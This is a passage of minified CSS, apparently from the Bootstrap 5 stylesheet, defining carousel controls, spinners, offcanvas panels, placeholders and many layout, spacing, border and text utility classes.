(prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:2rem;height:2rem;background-repeat:no-repeat;background-position:50%;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M11.354 1.646a.5.5 0 0 1 0 .708L5.707 8l5.647 5.646a.5.5 0 0 1-.708.708l-6-6a.5.5 0 0 1 0-.708l6-6a.5.5 0 0 1 .708 0z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:2;display:flex;justify-content:center;padding:0;margin-right:15%;margin-bottom:1rem;margin-left:15%;list-style:none}.carousel-indicators [data-bs-target]{box-sizing:content-box;flex:0 1 auto;width:30px;height:3px;padding:0;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border:0;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators [data-bs-target]{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:1.25rem;left:15%;padding-top:1.25rem;padding-bottom:1.25rem;color:#fff;text-align:center}.carousel-dark .carousel-control-next-icon,.carousel-dark .carousel-control-prev-icon{filter:invert(1) grayscale(100)}.carousel-dark .carousel-indicators [data-bs-target]{background-color:#000}.carousel-dark .carousel-caption{color:#000}.spinner-border,.spinner-grow{display:inline-block;width:var(--bs-spinner-width);height:var(--bs-spinner-height);vertical-align:var(--bs-spinner-vertical-align);border-radius:50%;animation:var(--bs-spinner-animation-speed) linear infinite var(--bs-spinner-animation-name)}@keyframes spinner-border{to{transform:rotate(360deg)}}.spinner-border{--bs-spinner-width:2rem;--bs-spinner-height:2rem;--bs-spinner-vertical-align:-0.125em;--bs-spinner-border-width:0.25em;--bs-spinner-animation-speed:0.75s;--bs-spinner-animation-name:spinner-border;border:var(--bs-spinner-border-width) solid currentcolor;border-right-color:transparent}.spinner-border-sm{--bs-spinner-width:1rem;--bs-spinner-height:1rem;--bs-spinner-border-width:0.2em}@keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}.spinner-grow{--bs-spinner-width:2rem;--bs-spinner-height:2rem;--bs-spinner-vertical-align:-0.125em;--bs-spinner-animation-speed:0.75s;--bs-spinner-animation-name:spinner-grow;background-color:currentcolor;opacity:0}.spinner-grow-sm{--bs-spinner-width:1rem;--bs-spinner-height:1rem}@media (prefers-reduced-motion:reduce){.spinner-border,.spinner-grow{--bs-spinner-animation-speed:1.5s}}.offcanvas,.offcanvas-lg,.offcanvas-md,.offcanvas-sm,.offcanvas-xl,.offcanvas-xxl{--bs-offcanvas-zindex:1045;--bs-offcanvas-width:400px;--bs-offcanvas-height:30vh;--bs-offcanvas-padding-x:1rem;--bs-offcanvas-padding-y:1rem;--bs-offcanvas-color: ;--bs-offcanvas-bg:#fff;--bs-offcanvas-border-width:1px;--bs-offcanvas-border-color:var(--bs-border-color-translucent);--bs-offcanvas-box-shadow:0 0.125rem 0.25rem rgba(0, 0, 0, 0.075)}@media (max-width:575.98px){.offcanvas-sm{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:575.98px) and (prefers-reduced-motion:reduce){.offcanvas-sm{transition:none}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (max-width:575.98px){.offcanvas-sm.show:not(.hiding),.offcanvas-sm.showing{transform:none}}@media (max-width:575.98px){.offcanvas-sm.hiding,.offcanvas-sm.show,.offcanvas-sm.showing{visibility:visible}}@media (min-width:576px){.offcanvas-sm{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-sm .offcanvas-header{display:none}.offcanvas-sm .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:767.98px){.offcanvas-md{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:767.98px) and (prefers-reduced-motion:reduce){.offcanvas-md{transition:none}}@media (max-width:767.98px){.offcanvas-md.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:767.98px){.offcanvas-md.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:767.98px){.offcanvas-md.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:767.98px){.offcanvas-md.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (max-width:767.98px){.offcanvas-md.show:not(.hiding),.offcanvas-md.showing{transform:none}}@media (max-width:767.98px){.offcanvas-md.hiding,.offcanvas-md.show,.offcanvas-md.showing{visibility:visible}}@media (min-width:768px){.offcanvas-md{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-md .offcanvas-header{display:none}.offcanvas-md .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:991.98px){.offcanvas-lg{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:991.98px) and (prefers-reduced-motion:reduce){.offcanvas-lg{transition:none}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (max-width:991.98px){.offcanvas-lg.show:not(.hiding),.offcanvas-lg.showing{transform:none}}@media (max-width:991.98px){.offcanvas-lg.hiding,.offcanvas-lg.show,.offcanvas-lg.showing{visibility:visible}}@media (min-width:992px){.offcanvas-lg{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-lg .offcanvas-header{display:none}.offcanvas-lg .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:1199.98px){.offcanvas-xl{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:1199.98px) and (prefers-reduced-motion:reduce){.offcanvas-xl{transition:none}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (max-width:1199.98px){.offcanvas-xl.show:not(.hiding),.offcanvas-xl.showing{transform:none}}@media (max-width:1199.98px){.offcanvas-xl.hiding,.offcanvas-xl.show,.offcanvas-xl.showing{visibility:visible}}@media (min-width:1200px){.offcanvas-xl{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-xl .offcanvas-header{display:none}.offcanvas-xl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:1399.98px){.offcanvas-xxl{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:1399.98px) and (prefers-reduced-motion:reduce){.offcanvas-xxl{transition:none}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (max-width:1399.98px){.offcanvas-xxl.show:not(.hiding),.offcanvas-xxl.showing{transform:none}}@media (max-width:1399.98px){.offcanvas-xxl.hiding,.offcanvas-xxl.show,.offcanvas-xxl.showing{visibility:visible}}@media (min-width:1400px){.offcanvas-xxl{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-xxl .offcanvas-header{display:none}.offcanvas-xxl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}.offcanvas{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}@media (prefers-reduced-motion:reduce){.offcanvas{transition:none}}.offcanvas.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas.show:not(.hiding),.offcanvas.showing{transform:none}.offcanvas.hiding,.offcanvas.show,.offcanvas.showing{visibility:visible}.offcanvas-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.offcanvas-backdrop.fade{opacity:0}.offcanvas-backdrop.show{opacity:.5}.offcanvas-header{display:flex;align-items:center;justify-content:space-between;padding:var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x)}.offcanvas-header .btn-close{padding:calc(var(--bs-offcanvas-padding-y) * .5) calc(var(--bs-offcanvas-padding-x) * .5);margin-top:calc(-.5 * var(--bs-offcanvas-padding-y));margin-right:calc(-.5 * var(--bs-offcanvas-padding-x));margin-bottom:calc(-.5 * var(--bs-offcanvas-padding-y))}.offcanvas-title{margin-bottom:0;line-height:1.5}.offcanvas-body{flex-grow:1;padding:var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x);overflow-y:auto}.placeholder{display:inline-block;min-height:1em;vertical-align:middle;cursor:wait;background-color:currentcolor;opacity:.5}.placeholder.btn::before{display:inline-block;content:""}.placeholder-xs{min-height:.6em}.placeholder-sm{min-height:.8em}.placeholder-lg{min-height:1.2em}.placeholder-glow .placeholder{animation:placeholder-glow 2s ease-in-out infinite}@keyframes placeholder-glow{50%{opacity:.2}}.placeholder-wave{-webkit-mask-image:linear-gradient(130deg,#000 55%,rgba(0,0,0,0.8) 75%,#000 95%);mask-image:linear-gradient(130deg,#000 55%,rgba(0,0,0,0.8) 75%,#000 95%);-webkit-mask-size:200% 100%;mask-size:200% 100%;animation:placeholder-wave 2s linear infinite}@keyframes placeholder-wave{100%{-webkit-mask-position:-200% 0%;mask-position:-200% 0%}}.clearfix::after{display:block;clear:both;content:""}.text-bg-primary{color:#fff!important;background-color:RGBA(13,110,253,var(--bs-bg-opacity,1))!important}.text-bg-secondary{color:#fff!important;background-color:RGBA(108,117,125,var(--bs-bg-opacity,1))!important}.text-bg-success{color:#fff!important;background-color:RGBA(25,135,84,var(--bs-bg-opacity,1))!important}.text-bg-info{color:#000!important;background-color:RGBA(13,202,240,var(--bs-bg-opacity,1))!important}.text-bg-warning{color:#000!important;background-color:RGBA(255,193,7,var(--bs-bg-opacity,1))!important}.text-bg-danger{color:#fff!important;background-color:RGBA(220,53,69,var(--bs-bg-opacity,1))!important}.text-bg-light{color:#000!important;background-color:RGBA(248,249,250,var(--bs-bg-opacity,1))!important}.text-bg-dark{color:#fff!important;background-color:RGBA(33,37,41,var(--bs-bg-opacity,1))!important}.link-primary{color:#0d6efd!important}.link-primary:focus,.link-primary:hover{color:#0a58ca!important}.link-secondary{color:#6c757d!important}.link-secondary:focus,.link-secondary:hover{color:#565e64!important}.link-success{color:#198754!important}.link-success:focus,.link-success:hover{color:#146c43!important}.link-info{color:#0dcaf0!important}.link-info:focus,.link-info:hover{color:#3dd5f3!important}.link-warning{color:#ffc107!important}.link-warning:focus,.link-warning:hover{color:#ffcd39!important}.link-danger{color:#dc3545!important}.link-danger:focus,.link-danger:hover{color:#b02a37!important}.link-light{color:#f8f9fa!important}.link-light:focus,.link-light:hover{color:#f9fafb!important}.link-dark{color:#212529!important}.link-dark:focus,.link-dark:hover{color:#1a1e21!important}.ratio{position:relative;width:100%}.ratio::before{display:block;padding-top:var(--bs-aspect-ratio);content:""}.ratio>*{position:absolute;top:0;left:0;width:100%;height:100%}.ratio-1x1{--bs-aspect-ratio:100%}.ratio-4x3{--bs-aspect-ratio:75%}.ratio-16x9{--bs-aspect-ratio:56.25%}.ratio-21x9{--bs-aspect-ratio:42.8571428571%}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}@media (min-width:576px){.sticky-sm-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-sm-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:768px){.sticky-md-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-md-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:992px){.sticky-lg-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-lg-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:1200px){.sticky-xl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-xl-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:1400px){.sticky-xxl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-xxl-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}.hstack{display:flex;flex-direction:row;align-items:center;align-self:stretch}.vstack{display:flex;flex:1 1 auto;flex-direction:column;align-self:stretch}.visually-hidden,.visually-hidden-focusable:not(:focus):not(:focus-within){position:absolute!important;width:1px!important;height:1px!important;padding:0!important;margin:-1px!important;overflow:hidden!important;clip:rect(0,0,0,0)!important;white-space:nowrap!important;border:0!important}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;content:""}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.vr{display:inline-block;align-self:stretch;width:1px;min-height:1em;background-color:currentcolor;opacity:.25}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.float-start{float:left!important}.float-end{float:right!important}.float-none{float:none!important}.opacity-0{opacity:0!important}.opacity-25{opacity:.25!important}.opacity-50{opacity:.5!important}.opacity-75{opacity:.75!important}.opacity-100{opacity:1!important}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.overflow-visible{overflow:visible!important}.overflow-scroll{overflow:scroll!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-grid{display:grid!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:flex!important}.d-inline-flex{display:inline-flex!important}.d-none{display:none!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.top-0{top:0!important}.top-50{top:50%!important}.top-100{top:100%!important}.bottom-0{bottom:0!important}.bottom-50{bottom:50%!important}.bottom-100{bottom:100%!important}.start-0{left:0!important}.start-50{left:50%!important}.start-100{left:100%!important}.end-0{right:0!important}.end-50{right:50%!important}.end-100{right:100%!important}.translate-middle{transform:translate(-50%,-50%)!important}.translate-middle-x{transform:translateX(-50%)!important}.translate-middle-y{transform:translateY(-50%)!important}.border{border:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-0{border:0!important}.border-top{border-top:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-top-0{border-top:0!important}.border-end{border-right:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-end-0{border-right:0!important}.border-bottom{border-bottom:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-bottom-0{border-bottom:0!important}.border-start{border-left:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-start-0{border-left:0!important}.border-primary{--bs-border-opacity:1;border-color:rgba(var(--bs-primary-rgb),var(--bs-border-opacity))!important}.border-secondary{--bs-border-opacity:1;border-color:rgba(var(--bs-secondary-rgb),var(--bs-border-opacity))!important}.border-success{--bs-border-opacity:1;border-color:rgba(var(--bs-success-rgb),var(--bs-border-opacity))!important}.border-info{--bs-border-opacity:1;border-color:rgba(var(--bs-info-rgb),var(--bs-border-opacity))!important}.border-warning{--bs-border-opacity:1;border-color:rgba(var(--bs-warning-rgb),var(--bs-border-opacity))!important}.border-danger{--bs-border-opacity:1;border-color:rgba(var(--bs-danger-rgb),var(--bs-border-opacity))!important}.border-light{--bs-border-opacity:1;border-color:rgba(var(--bs-light-rgb),var(--bs-border-opacity))!important}.border-dark{--bs-border-opacity:1;border-color:rgba(var(--bs-dark-rgb),var(--bs-border-opacity))!important}.border-white{--bs-border-opacity:1;border-color:rgba(var(--bs-white-rgb),var(--bs-border-opacity))!important}.border-1{--bs-border-width:1px}.border-2{--bs-border-width:2px}.border-3{--bs-border-width:3px}.border-4{--bs-border-width:4px}.border-5{--bs-border-width:5px}.border-opacity-10{--bs-border-opacity:0.1}.border-opacity-25{--bs-border-opacity:0.25}.border-opacity-50{--bs-border-opacity:0.5}.border-opacity-75{--bs-border-opacity:0.75}.border-opacity-100{--bs-border-opacity:1}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.mw-100{max-width:100%!important}.vw-100{width:100vw!important}.min-vw-100{min-width:100vw!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mh-100{max-height:100%!important}.vh-100{height:100vh!important}.min-vh-100{min-height:100vh!important}.flex-fill{flex:1 1 auto!important}.flex-row{flex-direction:row!important}.flex-column{flex-direction:column!important}.flex-row-reverse{flex-direction:row-reverse!important}.flex-column-reverse{flex-direction:column-reverse!important}.flex-grow-0{flex-grow:0!important}.flex-grow-1{flex-grow:1!important}.flex-shrink-0{flex-shrink:0!important}.flex-shrink-1{flex-shrink:1!important}.flex-wrap{flex-wrap:wrap!important}.flex-nowrap{flex-wrap:nowrap!important}.flex-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-start{justify-content:flex-start!important}.justify-content-end{justify-content:flex-end!important}.justify-content-center{justify-content:center!important}.justify-content-between{justify-content:space-between!important}.justify-content-around{justify-content:space-around!important}.justify-content-evenly{justify-content:space-evenly!important}.align-items-start{align-items:flex-start!important}.align-items-end{align-items:flex-end!important}.align-items-center{align-items:center!important}.align-items-baseline{align-items:baseline!important}.align-items-stretch{align-items:stretch!important}.align-content-start{align-content:flex-start!important}.align-content-end{align-content:flex-end!important}.align-content-center{align-content:center!important}.align-content-between{align-content:space-between!important}.align-content-around{align-content:space-around!important}.align-content-stretch{align-content:stretch!important}.align-self-auto{align-self:auto!important}.align-self-start{align-self:flex-start!important}.align-self-end{align-self:flex-end!important}.align-self-center{align-self:center!important}.align-self-baseline{align-self:baseline!important}.align-self-stretch{align-self:stretch!important}.order-first{order:-1!important}.order-0{order:0!important}.order-1{order:1!important}.order-2{order:2!important}.order-3{order:3!important}.order-4{order:4!important}.order-5{order:5!important}.order-last{order:6!important}.m-0{margin:0!important}.m-1{margin:.25rem!important}.m-2{margin:.5rem!important}.m-3{margin:1rem!important}.m-4{margin:1.5rem!important}.m-5{margin:3rem!important}.m-auto{margin:auto!important}.mx-0{margin-right:0!important;margin-left:0!important}.mx-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-3{margin-right:1rem!important;margin-left:1rem!important}.mx-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-5{margin-right:3rem!important;margin-left:3rem!important}.mx-auto{margin-right:auto!important;margin-left:auto!important}.my-0{margin-top:0!important;margin-bottom:0!important}.my-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-0{margin-top:0!important}.mt-1{margin-top:.25rem!important}.mt-2{margin-top:.5rem!important}.mt-3{margin-top:1rem!important}.mt-4{margin-top:1.5rem!important}.mt-5{margin-top:3rem!important}.mt-auto{margin-top:auto!important}.me-0{margin-right:0!important}.me-1{margin-right:.25rem!important}.me-2{margin-right:.5rem!important}.me-3{margin-right:1rem!important}.me-4{margin-right:1.5rem!important}.me-5{margin-right:3rem!important}.me-auto{margin-right:auto!important}.mb-0{margin-bottom:0!important}.mb-1{margin-bottom:.25rem!important}.mb-2{margin-bottom:.5rem!important}.mb-3{margin-bottom:1rem!important}.mb-4{margin-bottom:1.5rem!important}.mb-5{margin-bottom:3rem!important}.mb-auto{margin-bottom:auto!important}.ms-0{margin-left:0!important}.ms-1{margin-left:.25rem!important}.ms-2{margin-left:.5rem!important}.ms-3{margin-left:1rem!important}.ms-4{margin-left:1.5rem!important}.ms-5{margin-left:3rem!important}.ms-auto{margin-left:auto!important}.p-0{padding:0!important}.p-1{padding:.25rem!important}.p-2{padding:.5rem!important}.p-3{padding:1rem!important}.p-4{padding:1.5rem!important}.p-5{padding:3rem!important}.px-0{padding-right:0!important;padding-left:0!important}.px-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-3{padding-right:1rem!important;padding-left:1rem!important}.px-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-5{padding-right:3rem!important;padding-left:3rem!important}.py-0{padding-top:0!important;padding-bottom:0!important}.py-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-0{padding-top:0!important}.pt-1{padding-top:.25rem!important}.pt-2{padding-top:.5rem!important}.pt-3{padding-top:1rem!important}.pt-4{padding-top:1.5rem!important}.pt-5{padding-top:3rem!important}.pe-0{padding-right:0!important}.pe-1{padding-right:.25rem!important}.pe-2{padding-right:.5rem!important}.pe-3{padding-right:1rem!important}.pe-4{padding-right:1.5rem!important}.pe-5{padding-right:3rem!important}.pb-0{padding-bottom:0!important}.pb-1{padding-bottom:.25rem!important}.pb-2{padding-bottom:.5rem!important}.pb-3{padding-bottom:1rem!important}.pb-4{padding-bottom:1.5rem!important}.pb-5{padding-bottom:3rem!important}.ps-0{padding-left:0!important}.ps-1{padding-left:.25rem!important}.ps-2{padding-left:.5rem!important}.ps-3{padding-left:1rem!important}.ps-4{padding-left:1.5rem!important}.ps-5{padding-left:3rem!important}.gap-0{gap:0!important}.gap-1{gap:.25rem!important}.gap-2{gap:.5rem!important}.gap-3{gap:1rem!important}.gap-4{gap:1.5rem!important}.gap-5{gap:3rem!important}.font-monospace{font-family:var(--bs-font-monospace)!important}.fs-1{font-size:calc(1.375rem + 1.5vw)!important}.fs-2{font-size:calc(1.325rem + .9vw)!important}.fs-3{font-size:calc(1.3rem + .6vw)!important}.fs-4{font-size:calc(1.275rem + .3vw)!important}.fs-5{font-size:1.25rem!important}.fs-6{font-size:1rem!important}.fst-italic{font-style:italic!important}.fst-normal{font-style:normal!important}.fw-light{font-weight:300!important}.fw-lighter{font-weight:lighter!important}.fw-normal{font-weight:400!important}.fw-bold{font-weight:700!important}.fw-semibold{font-weight:600!important}.fw-bolder{font-weight:bolder!important}.lh-1{line-height:1!important}.lh-sm{line-height:1.25!important}.lh-base{line-height:1.5!important}.lh-lg{line-height:2!important}.text-start{text-align:left!important}.text-end{text-align:right!important}.text-center{text-align:center!important}.text-decoration-none{text-decoration:none!important}.text-decoration-underline{text-decoration:underline!important}.text-decoration-line-through{text-decoration:line-through!important}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-break{word-wrap:break-word!important;word-break:break-word!important}.text-primary{--bs-text-opacity:1;color:rgba(var(--bs-primary-rgb),var(--b